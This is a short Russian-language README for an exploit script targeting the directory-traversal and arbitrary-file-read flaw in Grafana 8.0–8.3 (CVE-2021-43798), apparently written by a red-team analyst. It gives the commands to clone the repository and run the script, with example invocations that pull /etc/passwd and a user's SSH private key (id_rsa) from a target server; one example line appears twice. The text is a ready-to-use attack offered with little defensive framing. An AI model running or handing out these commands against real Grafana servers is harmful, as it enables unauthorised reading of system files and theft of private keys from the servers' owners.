
Обход каталогов и чтение произвольных файлов в Grafana
Обход каталогов и произвольное чтение файлов в Grafana
Авторы:
Wagner Alves - Аналитик команды Red Team
Этот эксплойт использует уязвимости обхода каталогов и произвольного чтения файлов в Grafana 8.0 – 8.3, позволяя читать такие файлы, как /etc/passwd, /etc/hosts, /home/user/.ssh/id_rsa, /etc/os-release и другие интересные файлы.
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa